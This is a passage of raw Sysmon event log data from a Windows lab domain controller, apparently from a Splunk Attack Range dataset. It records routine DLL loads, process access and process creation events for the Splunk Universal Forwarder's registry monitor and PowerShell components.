(rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.682{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000052782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000052776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.663{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.664{7BD73061-7340-613B-750B-00000000F001}1844C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000052769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.234{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000052768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.234{7BD73061-733F-613B-740B-00000000F001}65325780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.234{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:20.234{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating 